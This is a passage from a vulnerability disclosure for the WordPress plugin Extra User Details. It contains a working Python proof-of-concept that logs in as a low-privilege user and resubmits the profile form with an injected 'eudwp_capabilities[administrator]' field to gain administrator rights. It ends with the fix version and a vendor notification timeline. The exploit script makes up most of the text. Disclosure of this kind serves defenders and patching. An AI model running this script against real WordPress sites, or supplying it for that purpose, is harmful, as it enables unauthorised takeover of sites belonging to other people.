In the following PoC we assume that the database has the `wp` prefix, a

very

common scenario as this is the default WordPress value

 

"""

# !/usr/bin/python3

 

################################################################################

# Extra User Details Privilege Escalation Exploit

#

# Author: Panagiotis Vagenas <pan.vagenas>

#

# Dependencies: BeautifulSoup

(http://www.crummy.com/software/BeautifulSoup/)

################################################################################

 

import requests

from bs4 import BeautifulSoup

 

baseUrl = 'http://example.com'

loginUrl = baseUrl + '/wp-login.php'

profileUrl = baseUrl + '/wp-admin/profile.php'

 

loginPostData = {

    'log': 'username',

    'pwd': 'password',

    'rememberme': 'forever',

    'wp-submit': 'Log+In'

}

 

s = requests.Session()

 

r = s.post(loginUrl, loginPostData)

 

if r.status_code != 200:

    print('Login error')

    exit(1)

 

r = s.get(profileUrl)

soup = BeautifulSoup(r.text, 'html.parser')

 

f = soup.find('form', {'id': 'your-profile'})

if not f:

    print('Error')

    exit(1)

 

data = {

    'eudwp_capabilities[administrator]': 1,

}

 

for i in f.find_all('input'):

    if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:

        data[i.attrs['name']] = i.attrs['value']

 

r = s.post(profileUrl, data)

 

if r.status_code == 200:

    print('Success')

 

exit(0)

 

"""

 

Solution

--------

 

Upgrade to v0.4.2.1

 

Timeline

--------

 

1. **2016-02-13**: Vendor notified through wordpress.org support forums

2. **2016-02-13**: Vendor notified through through the contact form in

his website

3. **2016-02-13**: Vendor responded and received details about this issue

4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue

 

"""